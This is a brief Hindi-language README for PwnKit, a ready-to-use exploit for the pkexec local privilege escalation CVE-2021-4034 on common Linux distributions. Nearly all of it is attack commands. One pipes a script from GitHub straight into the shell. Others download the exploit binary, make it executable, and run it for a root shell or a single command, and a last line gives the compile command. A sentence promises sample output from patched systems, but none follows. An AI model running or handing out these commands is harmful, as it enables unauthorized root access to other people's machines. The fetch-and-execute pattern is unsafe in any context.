
CVE-2021-4034 के लिए स्व-निहित एक्सप्लॉइट - Pkexec स्थानीय विशेषाधिकार वृद्धि
CVE-2021-4034 के लिए स्व-निहित एक्सप्लॉइट - Pkexec स्थानीय विशेषाधिकार वृद्धि
Ubuntu, Debian, Fedora और CentOS पर आधारित कमजोर Linux वितरणों पर बिना किसी अतिरिक्त कॉन्फ़िगरेशन के काम करना चाहिए।
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

पैच किए गए संस्करणों के विरुद्ध एक्सप्लॉइट चलाने पर निम्नलिखित आउटपुट मिलेगा।

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC